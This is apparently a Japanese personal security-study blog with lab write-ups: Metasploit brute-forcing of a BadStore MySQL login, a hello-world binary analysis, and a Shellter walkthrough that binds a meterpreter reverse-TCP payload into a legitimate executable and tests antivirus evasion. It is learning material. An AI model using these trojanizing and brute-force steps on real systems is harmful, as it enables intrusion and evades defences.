|   SSLv2 supported
|   ciphers: 
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_IDEA_128_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|_    SSL2_RC2_128_CBC_WITH_MD5
3306/tcp open  mysql           MySQL 4.1.7-standard
| mysql-info: 
|   Protocol: 10
|   Version: 4.1.7-standard
|   Thread ID: 23
|   Capabilities flags: 33324
|   Some Capabilities: Support41Auth, Speaks41ProtocolNew, ConnectWithDatabase, LongColumnFlag, SupportsCompression
|   Status: Autocommit
|_  Salt: )SGIzLKs%YrQ~I/Mt&Zu

辞書の用意

ログインを試みるため、ユーザーとパスワードの辞書を用意する。今回は、wfuzzのマニュアルの中で見つけた SecLists というのを使ってみることにした。

GitHub - danielmiessler/SecLists: SecLists is the security tester's companion. It's a collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, passwords, URLs, sensitive data patterns, fuzzing payloads, web shells, and many more.

# git clone https://github.com/danielmiessler/SecLists.git

mysql-betterdefaultpasslist.txt をスペース区切りに変えて利用した。

metasploitでログイン情報確認

# msfconsole
                                                  
  +-------------------------------------------------------+
  |  METASPLOIT by Rapid7                                 |
  +---------------------------+---------------------------+
  |      __________________   |                           |
  |  ==c(______(o(______(_()  | |""""""""""""|======[***  |
  |             )=\           | |  EXPLOIT   \            |
  |            // \\          | |_____________\_______    |
  |           //   \\         | |==[msf >]============\   |
  |          //     \\        | |______________________\  |
  |         // RECON \\       | \(@)(@)(@)(@)(@)(@)(@)/   |
  |        //         \\      |  *********************    |
  +---------------------------+---------------------------+
  |      o O o                |        \'\/\/\/'/         |
  |              o O          |         )======(          |
  |                 o         |       .'  LOOT  '.        |
  | |^^^^^^^^^^^^^^|l___      |      /    _||__   \       |
  | |    PAYLOAD     |""\___, |     /    (_||_     \      |
  | |________________|__|)__| |    |     __||_)     |     |
  | |(@)(@)"""**|(@)(@)**|(@) |    "       ||       "     |
  |  = = = = = = = = = = = =  |     '--------------'      |
  +---------------------------+---------------------------+


       =[ metasploit v4.16.48-dev                         ]
+ -- --=[ 1749 exploits - 1002 auxiliary - 302 post       ]
+ -- --=[ 536 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use auxiliary/scanner/mysql/mysql_login 
msf auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.11.6
RHOSTS => 192.168.11.6
msf auxiliary(scanner/mysql/mysql_login) > set USERPASS_FILE /root/Downloads/SecLists/Passwords/Default-Credentials/mysql-betterdefaultpasslist-space.txt
USERPASS_FILE => /root/Downloads/SecLists/Passwords/Default-Credentials/mysql-betterdefaultpasslist-space.txt
msf auxiliary(scanner/mysql/mysql_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(scanner/mysql/mysql_login) > show options 

Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting                                                                               Required  Description
   ----              ---------------                                                                               --------  -----------
   BLANK_PASSWORDS   false                                                                                         no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                                                             yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                                                                                         no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                                                                         no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                                                                         no        Add all users in the current database to the list
   PASSWORD                                                                                                        no        A specific password to authenticate with
   PASS_FILE                                                                                                       no        File containing passwords, one per line
   Proxies                                                                                                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS            192.168.11.6                                                                                  yes       The target address range or CIDR identifier
   RPORT             3306                                                                                          yes       The target port (TCP)
   STOP_ON_SUCCESS   true                                                                                          yes       Stop guessing when a credential works for a host
   THREADS           1                                                                                             yes       The number of concurrent threads
   USERNAME                                                                                                        no        A specific username to authenticate as
   USERPASS_FILE     /root/Downloads/SecLists/Passwords/Default-Credentials/mysql-betterdefaultpasslist-space.txt  no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false                                                                                         no        Try the username as the password for all users
   USER_FILE                                                                                                       no        File containing usernames, one per line
   VERBOSE           true                                                                                          yes       Whether to print output for all attempts

msf auxiliary(scanner/mysql/mysql_login) > run

[+] 192.168.11.6:3306     - 192.168.11.6:3306 - Found remote MySQL version 4.1.7
[+] 192.168.11.6:3306     - 192.168.11.6:3306 - Success: 'root:mysql'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

ログインしてみる

# mysql -h 192.168.11.6 -u root -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 610
Server version: 4.1.7-standard

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+------------+
| Database   |
+------------+
| badstoredb |
+------------+
1 row in set (0.00 sec)

MySQL [(none)]> use badstoredb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [badstoredb]> show tables;
+----------------------+
| Tables_in_badstoredb |
+----------------------+
| acctdb               |
| itemdb               |
| orderdb              |
| userdb               |
+----------------------+
4 rows in set (0.01 sec)

総括

BadStore自体が相当古いため、ちょっとあれな感じはしたが、基本的な脆弱性調査の練習をするには結構良かったと思う。

  • SQLi
  • XSS
  • アクセス権限不備
  • 脆弱なパスワード
  • 不要なディレクトリの公開
  • 不正なパラメータ操作
  • CSRF

バイナリアン入門 第一回(x64, Linux)

バイナリの講義で、実行ファイルの静的解析を学習したのだが「こんな感じでやるのかー」ぐらいしか理解できなかったため、アセンブリの読解とバイナリ解析の手順に関して、簡単なプログラムから解析を行い、順々にバイナリの解析力をあげていこうと思う。そのための第一歩としてまずは、お馴染みの hello world. を表示するプログラムを解析してみる。

下準備

C言語で以下のようなソースを用意

#include <stdio.h>

int main(void)
{
    printf("hello world.\n");
    return 0;
}

コンパイルする

# gcc hello.c

出力結果の確認

# ./a.out
hello world.

解析

下準備はできたのでここから解析手順について説明。自分で用意しているバイナリのため本来調査の必要はないのだが、対象のファイルが何か全くわからない状態を想定して、解析を行ってみる。

表層解析

まずは表層解析としゃれこんで、対象のファイルをデータとして見たとき、どのようなファイルなのかを確認する。

ファイル形式の確認

# file a.out 
a.out: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f5cceda86933a497d3c81a1ecf87457f753597fe, not stripped

ELF 64-bit からLinuxの実行ファイルだということが判明。

どのような文字列が含まれてるのか確認

文字列としてどのような値が含まれているかも、一応確認してみる。

# strings a.out 
/lib64/ld-linux-x86-64.so.2
libc.so.6
puts
__cxa_finalize
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
AWAVI
AUATL
[]A\A]A^A_
hello world.

動的解析

本来は、どのような挙動をするか分からないため、仮想環境などで実行するのが好ましいが、今回は表示するだけなのでそのまま実行してみる。

普通に実行

# ./a.out
hello world.

ltrace

どのようなライブラリ呼び出しを行っているかも確認。

# ltrace ./a.out 
puts("hello world."hello world.
)                                                                         = 13
+++ exited (status 0) +++

strace

どのようなシステムコールを呼び出しているかも確認。

# strace ./a.out 
execve("./a.out", ["./a.out"], 0x7ffcc01548b0 /* 53 vars */) = 0
brk(NULL)                               = 0x55de02dcd000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=154007, ...}) = 0
mmap(NULL, 154007, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f46ac1d2000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240\33\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1800248, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f46ac1d0000
mmap(NULL, 3906272, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f46abc1a000
mprotect(0x7f46abdcb000, 2093056, PROT_NONE) = 0
mmap(0x7f46abfca000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b0000) = 0x7f46abfca000
mmap(0x7f46abfd0000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f46abfd0000
close(3)                                = 0
arch_prctl(ARCH_SET_FS, 0x7f46ac1d14c0) = 0
mprotect(0x7f46abfca000, 16384, PROT_READ) = 0
mprotect(0x55de017ed000, 4096, PROT_READ) = 0
mprotect(0x7f46ac1f8000, 4096, PROT_READ) = 0
munmap(0x7f46ac1d2000, 154007)          = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
brk(NULL)                               = 0x55de02dcd000
brk(0x55de02dee000)                     = 0x55de02dee000
write(1, "hello world.\n", 13hello world.
)          = 13
exit_group(0)                           = ?
+++ exited with 0 +++

内容的には、 putswrite が目につく。

静的解析

下準備や動的解析などを間に挟んできたが、本日のメインはこの静的解析。アセンブリと戦わなくてはならないのがここ。ちなみに、今回解析するELF形式の実行ファイルってどんな感じのフォーマットになっているのかという情報は、Wikiにのっているので割愛。(時間ができたらちょっと調べて補足的に載せたい)

https://ja.wikipedia.org/wiki/Executable_and_Linkable_Format

アセンブル

とにもかくにも、まずは逆アセンブルにより対象ファイルのアセンブリを吐き出す必要がある。実際の解析では IDA などを使った方が視覚的にも使いやすさ的にも良いのだが、今回の内容はうっすいため objdump で吐き出す。IDAに関してはこの後に続くであろうバイナリ解析N回目で使っていこうと思う。

# objdump -M intel -S a.out > hello.asm

Mオプションをつけないと、AT&T形式でのアセンブラが吐き出されるため今回はIntel形式での出力となるようにしている。

a.out:     ファイル形式 elf64-x86-64


セクション .init の逆アセンブル:

00000000000004e8 <_init>:
 4e8:   48 83 ec 08             sub    rsp,0x8
 4ec:   48 8b 05 f5 0a 20 00    mov    rax,QWORD PTR [rip+0x200af5]        # 200fe8 <__gmon_start__>
 4f3:   48 85 c0                test   rax,rax
 4f6:   74 02                   je     4fa <_init+0x12>
 4f8:   ff d0                   call   rax
 4fa:   48 83 c4 08             add    rsp,0x8
 4fe:   c3                      ret

セクション .plt の逆アセンブル:

0000000000000500 <.plt>:
 500:   ff 35 02 0b 20 00       push   QWORD PTR [rip+0x200b02]        # 201008 <_GLOBAL_OFFSET_TABLE_+0x8>
 506:   ff 25 04 0b 20 00       jmp    QWORD PTR [rip+0x200b04]        # 201010 <_GLOBAL_OFFSET_TABLE_+0x10>
 50c:   0f 1f 40 00             nop    DWORD PTR [rax+0x0]

0000000000000510 <puts@plt>:
 510:   ff 25 02 0b 20 00       jmp    QWORD PTR [rip+0x200b02]        # 201018 <puts@GLIBC_2.2.5>
 516:   68 00 00 00 00          push   0x0
 51b:   e9 e0 ff ff ff          jmp    500 <.plt>

セクション .plt.got の逆アセンブル:

0000000000000520 <__cxa_finalize@plt>:
 520:   ff 25 d2 0a 20 00       jmp    QWORD PTR [rip+0x200ad2]        # 200ff8 <__cxa_finalize@GLIBC_2.2.5>
 526:   66 90                   xchg   ax,ax

セクション .text の逆アセンブル:

0000000000000530 <_start>:
 530:   31 ed                   xor    ebp,ebp
 532:   49 89 d1                mov    r9,rdx
 535:   5e                      pop    rsi
 536:   48 89 e2                mov    rdx,rsp
 539:   48 83 e4 f0             and    rsp,0xfffffffffffffff0
 53d:   50                      push   rax
 53e:   54                      push   rsp
 53f:   4c 8d 05 8a 01 00 00    lea    r8,[rip+0x18a]        # 6d0 <__libc_csu_fini>
 546:   48 8d 0d 13 01 00 00    lea    rcx,[rip+0x113]        # 660 <__libc_csu_init>
 54d:   48 8d 3d e6 00 00 00    lea    rdi,[rip+0xe6]        # 63a <main>
 554:   ff 15 86 0a 20 00       call   QWORD PTR [rip+0x200a86]        # 200fe0 <__libc_start_main@GLIBC_2.2.5>
 55a:   f4                      hlt
 55b:   0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]

0000000000000560 <deregister_tm_clones>:
 560:   48 8d 3d c9 0a 20 00    lea    rdi,[rip+0x200ac9]        # 201030 <__TMC_END__>
 567:   55                      push   rbp
 568:   48 8d 05 c1 0a 20 00    lea    rax,[rip+0x200ac1]        # 201030 <__TMC_END__>
 56f:   48 39 f8                cmp    rax,rdi
 572:   48 89 e5                mov    rbp,rsp
 575:   74 19                   je     590 <deregister_tm_clones+0x30>
 577:   48 8b 05 5a 0a 20 00    mov    rax,QWORD PTR [rip+0x200a5a]        # 200fd8 <_ITM_deregisterTMCloneTable>
 57e:   48 85 c0                test   rax,rax
 581:   74 0d                   je     590 <deregister_tm_clones+0x30>
 583:   5d                      pop    rbp
 584:   ff e0                   jmp    rax
 586:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
 58d:   00 00 00 
 590:   5d                      pop    rbp
 591:   c3                      ret
 592:   0f 1f 40 00             nop    DWORD PTR [rax+0x0]
 596:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
 59d:   00 00 00 

00000000000005a0 <register_tm_clones>:
 5a0:   48 8d 3d 89 0a 20 00    lea    rdi,[rip+0x200a89]        # 201030 <__TMC_END__>
 5a7:   48 8d 35 82 0a 20 00    lea    rsi,[rip+0x200a82]        # 201030 <__TMC_END__>
 5ae:   55                      push   rbp
 5af:   48 29 fe                sub    rsi,rdi
 5b2:   48 89 e5                mov    rbp,rsp
 5b5:   48 c1 fe 03             sar    rsi,0x3
 5b9:   48 89 f0                mov    rax,rsi
 5bc:   48 c1 e8 3f             shr    rax,0x3f
 5c0:   48 01 c6                add    rsi,rax
 5c3:   48 d1 fe                sar    rsi,1
 5c6:   74 18                   je     5e0 <register_tm_clones+0x40>
 5c8:   48 8b 05 21 0a 20 00    mov    rax,QWORD PTR [rip+0x200a21]        # 200ff0 <_ITM_registerTMCloneTable>
 5cf:   48 85 c0                test   rax,rax
 5d2:   74 0c                   je     5e0 <register_tm_clones+0x40>
 5d4:   5d                      pop    rbp
 5d5:   ff e0                   jmp    rax
 5d7:   66 0f 1f 84 00 00 00    nop    WORD PTR [rax+rax*1+0x0]
 5de:   00 00 
 5e0:   5d                      pop    rbp
 5e1:   c3                      ret
 5e2:   0f 1f 40 00             nop    DWORD PTR [rax+0x0]
 5e6:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
 5ed:   00 00 00 

00000000000005f0 <__do_global_dtors_aux>:
 5f0:   80 3d 39 0a 20 00 00    cmp    BYTE PTR [rip+0x200a39],0x0        # 201030 <__TMC_END__>
 5f7:   75 2f                   jne    628 <__do_global_dtors_aux+0x38>
 5f9:   48 83 3d f7 09 20 00    cmp    QWORD PTR [rip+0x2009f7],0x0        # 200ff8 <__cxa_finalize@GLIBC_2.2.5>
 600:   00 
 601:   55                      push   rbp
 602:   48 89 e5                mov    rbp,rsp
 605:   74 0c                   je     613 <__do_global_dtors_aux+0x23>
 607:   48 8b 3d 1a 0a 20 00    mov    rdi,QWORD PTR [rip+0x200a1a]        # 201028 <__dso_handle>
 60e:   e8 0d ff ff ff          call   520 <__cxa_finalize@plt>
 613:   e8 48 ff ff ff          call   560 <deregister_tm_clones>
 618:   c6 05 11 0a 20 00 01    mov    BYTE PTR [rip+0x200a11],0x1        # 201030 <__TMC_END__>
 61f:   5d                      pop    rbp
 620:   c3                      ret
 621:   0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]
 628:   f3 c3                   repz ret
 62a:   66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]

0000000000000630 <frame_dummy>:
 630:   55                      push   rbp
 631:   48 89 e5                mov    rbp,rsp
 634:   5d                      pop    rbp
 635:   e9 66 ff ff ff          jmp    5a0 <register_tm_clones>

000000000000063a <main>:
 63a:   55                      push   rbp
 63b:   48 89 e5                mov    rbp,rsp
 63e:   48 8d 3d 9f 00 00 00    lea    rdi,[rip+0x9f]        # 6e4 <_IO_stdin_used+0x4>
 645:   e8 c6 fe ff ff          call   510 <puts@plt>
 64a:   b8 00 00 00 00          mov    eax,0x0
 64f:   5d                      pop    rbp
 650:   c3                      ret
 651:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
 658:   00 00 00 
 65b:   0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]

0000000000000660 <__libc_csu_init>:
 660:   41 57                   push   r15
 662:   41 56                   push   r14
 664:   49 89 d7                mov    r15,rdx
 667:   41 55                   push   r13
 669:   41 54                   push   r12
 66b:   4c 8d 25 76 07 20 00    lea    r12,[rip+0x200776]        # 200de8 <__frame_dummy_init_array_entry>
 672:   55                      push   rbp
 673:   48 8d 2d 76 07 20 00    lea    rbp,[rip+0x200776]        # 200df0 <__init_array_end>
 67a:   53                      push   rbx
 67b:   41 89 fd                mov    r13d,edi
 67e:   49 89 f6                mov    r14,rsi
 681:   4c 29 e5                sub    rbp,r12
 684:   48 83 ec 08             sub    rsp,0x8
 688:   48 c1 fd 03             sar    rbp,0x3
 68c:   e8 57 fe ff ff          call   4e8 <_init>
 691:   48 85 ed                test   rbp,rbp
 694:   74 20                   je     6b6 <__libc_csu_init+0x56>
 696:   31 db                   xor    ebx,ebx
 698:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
 69f:   00 
 6a0:   4c 89 fa                mov    rdx,r15
 6a3:   4c 89 f6                mov    rsi,r14
 6a6:   44 89 ef                mov    edi,r13d
 6a9:   41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
 6ad:   48 83 c3 01             add    rbx,0x1
 6b1:   48 39 dd                cmp    rbp,rbx
 6b4:   75 ea                   jne    6a0 <__libc_csu_init+0x40>
 6b6:   48 83 c4 08             add    rsp,0x8
 6ba:   5b                      pop    rbx
 6bb:   5d                      pop    rbp
 6bc:   41 5c                   pop    r12
 6be:   41 5d                   pop    r13
 6c0:   41 5e                   pop    r14
 6c2:   41 5f                   pop    r15
 6c4:   c3                      ret
 6c5:   90                      nop
 6c6:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
 6cd:   00 00 00 

00000000000006d0 <__libc_csu_fini>:
 6d0:   f3 c3                   repz ret

セクション .fini の逆アセンブル:

00000000000006d4 <_fini>:
 6d4:   48 83 ec 08             sub    rsp,0x8
 6d8:   48 83 c4 08             add    rsp,0x8
 6dc:   c3                      ret    

解析してみる

一番最初に、実行されるmain関数を探してみる。数行の命令がある。

000000000000063a <main>:
 63a:   55                      push   rbp
 63b:   48 89 e5                mov    rbp,rsp
 63e:   48 8d 3d 9f 00 00 00    lea    rdi,[rip+0x9f]        # 6e4 <_IO_stdin_used+0x4>
 645:   e8 c6 fe ff ff          call   510 <puts@plt>
 64a:   b8 00 00 00 00          mov    eax,0x0
 64f:   5d                      pop    rbp
 650:   c3                      ret
 651:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
 658:   00 00 00 
 65b:   0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]

ざっくりみていく。 最初に出てくる2行は、関数呼び出しをする際にはほとんど出てくる「スタック領域を確保する」コード

 63a:   55                      push   rbp
 63b:   48 89 e5                mov    rbp,rsp

つぎにここで、文字列 hello world. の先頭に当たるアドレスを rdi レジスタに設定している。

 63e:   48 8d 3d 9f 00 00 00    lea    rdi,[rip+0x9f]        # 6e4 <_IO_stdin_used+0x4>

rdiレジスタは第一引数を渡すときに使われるらしい。 hello world. と言う文字列はどこからくるの?という疑問が沸いてくるが、これは # 6e4 <_IO_stdin_used+0x4> の部分から読み取ることができる。 6e4 というアドレスはrodataセクション内のアドレスのため、以下のようなコマンドで確認することが可能。

# objdump -s -j .rodata a.out 

a.out:     ファイル形式 elf64-x86-64

セクション .rodata の内容:
 06e0 01000200 68656c6c 6f20776f 726c642e  ....hello world.
 06f0 00               

そして、ここではコンソールへの文字列表示を行っている。

 645:   e8 c6 fe ff ff          call   510 <puts@plt>

アキュムレーターは、関数の戻り値を格納するときにも使用するらしい。今回は正常終了の 0eax レジスタに設定している。

 64a:   b8 00 00 00 00          mov    eax,0x0

その後は、pushしていたベースポインタレジスタをpopしてきて、retでmain関数から復帰する。

 64f:   5d                      pop    rbp
 650:   c3                      ret

総括

すごくざっくりと走ったが、このくらいの内容から始めるなら何とかなりそうな気がしてきた。

参考になるサイト

レジスタについてまとまっている

www.zombie-hunting-club.com

Shellterによるシェルコードのバインド

Shellterダウンロード

以下のサイトからshellter.exeが含まれたzipをダウンロードする。

https://www.shellterproject.com/download/

f:id:kyonta1022:20180701223702p:plain

シェルコードをバインドする

バインドさせたい適当なexeファイルを用意したら、shellter.exeで対象のexeにバインドさせる。 今回は Kali Linuxを使っているので、wineを使ってshellter.exeを実行する。

root@bad:~/Downloads/shellter# wine shellter.exe 



        1010101 01   10 0100110 10     01  11001001 0011101 001001
        11      10   01 00      01     01     01    10      11   10
        0010011 1110001 11011   11     10     00    10011   011001
             11 00   10 01      11     01     11    01      01   11
        0010010 11   00 0011010 100111 000111 00    1100011 01   10 v7.1
        www.ShellterProject.com                     Wine Mode



Choose Operation Mode - Auto/Manual (A/M/H): A

PE Target: /root/Downloads/Stirling.exe

**********
* Backup *
**********

Backup: Shellter_Backups\Stirling.exe


********************************
* PE Compatibility Information *
********************************

Minimum Supported Windows OS: 4.0

Note: It refers to the minimum required Windows version for the target
      application to run. This information is taken directly from the
      PE header and might be not always accurate.


******************
* Packed PE Info *
******************

Status: Possibly Not Packed - The EntryPoint is located in the first section!


***********************
* PE Info Elimination *
***********************

Data: Dll Characteristics (Dynamic ImageBase etc...), Digital Signature.

Status: All related information has been eliminated!


****************
* Tracing Mode *
****************

Status: Tracing has started! Press CTRL+C to interrupt tracing at any time.

Note: In Auto Mode, Shellter will trace a random number of instructions
      for a maximum time of approximately 30 seconds in native Windows
      hosts and for 60 seconds when used in Wine.

DisASM.dll was created successfully!

Instructions Traced: 15694

Tracing Time Approx: 1.02 mins.

Starting First Stage Filtering...


*************************
* First Stage Filtering *
*************************

Filtering Time Approx: 0.0006 mins.

Enable Stealth Mode? (Y/N/H): Y

************
* Payloads *
************

[1] Meterpreter_Reverse_TCP   [stager]
[2] Meterpreter_Reverse_HTTP  [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP      [stager]
[5] Shell_Reverse_TCP         [stager]
[6] Shell_Bind_TCP            [stager]
[7] WinExec

Use a listed payload or custom? (L/C/H): L

Select payload by index: 1

***************************
* meterpreter_reverse_tcp *
***************************

SET LHOST: 192.168.11.8

SET LPORT: 8888

****************
* Payload Info *
****************

Payload: meterpreter_reverse_tcp

Size: 281 bytes

Reflective Loader: NO

Encoded-Payload Handling: Enabled

Handler Type: IAT


******************
* Encoding Stage *
******************

Encoding Payload: Done!

****************************
* Assembling Decoder Stage *
****************************

Assembling Decoder: Done!

***********************************
* Binding Decoder & Payload Stage *
***********************************

Status: Obfuscating the Decoder using Thread Context Aware Polymorphic
        code, and binding it with the payload.

Please wait...

Binding: Done!


*********************
* IAT Handler Stage *
*********************

Fetching IAT Pointers to Memory Manipulation APIs...

0. VirtualAlloc --> IAT[49c1dc]
1. VirtualAllocEx --> N/A
2. VirtualProtect --> N/A
3. VirtualProtectEx --> N/A
4. HeapCreate/HeapAlloc --> IAT[49c1d0]/IAT[49c264]
5. LoadLibrary/GetProcAddress --> IAT[49c364]/IAT[49c37c]
6. GetModuleHandle/GetProcAddress --> IAT[49c378]/IAT[49c37c]
7. CreateFileMapping/MapViewOfFile --> IAT[49c3b0]/IAT[49c3b4]

Using Method --> 6


***************************
* IAT Handler Obfuscation *
***************************

Status: Binding the IAT Handler with Thread Context Aware Polymorphic code.

Please wait...

Code Generation Time Approx: 0.036 seconds.


*************************
* PolyMorphic Junk Code *
*************************

Type: Engine

Generating: ~486 bytes of PolyMorphic Junk Code

Please wait...

Generated: 488 bytes

Code Generation Time Approx: 0.032 seconds.

Starting Second Stage Filtering...


**************************
* Second Stage Filtering *
**************************

Filtering Time Approx: 0.0006 mins.


*******************
* Injection Stage *
*******************

Virtual Address: 0x46b0ed

File Offset: 0x6b0ed

Section: .text

Adjusting stub pointers to IAT...

Done!

Adjusting Call Instructions Relative Pointers...

Done!

Injection Completed!


*******************
* PE Checksum Fix *
*******************

Status: Valid PE Checksum has been set!

Original Checksum: 0x0

Computed Checksum: 0xd7e2d


**********************
* Verification Stage *
**********************

Info: Shellter will verify that the first instruction of the
      injected code will be reached successfully.
      If polymorphic code has been added, then the first
      instruction refers to that and not to the effective
      payload.
      Max waiting time: 10 seconds.

 Warning!
 If the PE target spawns a child process of itself before
 reaching the injection point, then the injected code will
 be executed in that process. In that case Shellter won't 
 have any control over it during this test.
 You know what you are doing, right? ;o)

Injection: Verified!

Press [Enter] to continue...

接続を待ち受ける

シェルコード入りのexeを実行する前に、msfconsoleを使ってreverse_tcpでの接続を受け付けるようにしとく。 準備ができてからexeを実行すると、exeを実行したマシンのシェルが叩けるようになる。

Meterpreter session 1 closed error

最初に使っていたmsfconsoleのバージョンv4.14.28では、Meterpreter session 1 closedというエラーが発生してreverse_tcpでの接続が受け付けられなかった。以下のページを参考にバージョンアップしたら直ったのでメモ。

Meterpreter session closed. Reason: Died - Everytime 2 · Issue #9123 · rapid7/metasploit-framework · GitHub

$ msfconsole 
Found a database at /Users/msf/.msf4/db, checking to see if it is started
Starting database at /Users/msf/.msf4/db...success
                                                  

      .:okOOOkdc'           'cdkOOOko:.
    .xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.
   :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:
  'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
  oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo
  dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx
  lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl
  .OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO.
   cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc
    oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo
     lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl
      ;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO;
       .dOOo'WM.OOOOocccxOOOO.MX'xOOd.
         ,kOl'M.OOOOOOOOOOOOO.M'dOk,
           :kk;.OOOOOOOOOOOOO.;Ok:
             ;kOOOOOOOOOOOOOOOk:
               ,xOOOOOOOOOOOx,
                 .lOOOOOOOl.
                    ,dOd,
                      .

       =[ metasploit v4.16.64-dev-38e1a059284c093e9bba5b59bfa43938c61b86b4]
+ -- --=[ 1780 exploits - 1016 auxiliary - 308 post       ]
+ -- --=[ 538 payloads - 41 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler 
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LPORT 8888
LPORT => 8888
msf exploit(multi/handler) > set LHOST 192.168.11.8
LHOST => 192.168.11.8
msf exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.11.8:8888 
[*] Sending stage (179779 bytes) to 192.168.11.2
[*] Meterpreter session 1 opened (192.168.11.8:8888 -> 192.168.11.2:50463) at 2018-06-29 00:57:30 +0900

meterpreter > 

virustotalで検出具合を確認してみた

VirusTotalは、ユーザーがファイルやURLをアップロードすると、主要なセキュリティベンダーの定義ファイルを使って悪質なものであるかを調べられる。利用は無料だが、有償サービスの「VirusTotal Intelligence」ではアップロードされたファイルの情報を入手できるため、セキュリティベンダーなどがマルウェア動向などを研究する目的で、この有償サービスを利用している。

今回作成したシェルコード入りexeは、どのくらいのウイルス対策ソフトで検出されるのか確認すべくvirustotalでscanしてみたら16 / 64の定義ファイルでウイルスとして検出された。 putty.exeはウイルスとして検出できたSymantecさんも、Strings.exeはウイルスとして検出できなかった模倣。意外と検出率が悪いのだなと思った。詳細は以下のページで確認可能。

f:id:kyonta1022:20180701234102p:plain Antivirus scan for 51e17e758be2706acf2b6a7f1292be80b397d3f74d4869dc3df5996e91c7c69d at 2018-07-01 14:32:18 UTC - VirusTotal

脆弱性のお勉強:SQLインジェクション攻撃

SQLインジェクションの勉強をしていたら、初めて聞く手法があったので備忘録とする。 SQLインジェクションと一口に言っても、よく聞く通常の「SQLインジェクション」と「ブラインドSQLインジェクション」という2つのインジェクションがあるらしい。特にブラインドSQLインジェクションはbooleanしか返さない状況でも情報漏洩するというから大変興味深い。

環境構築

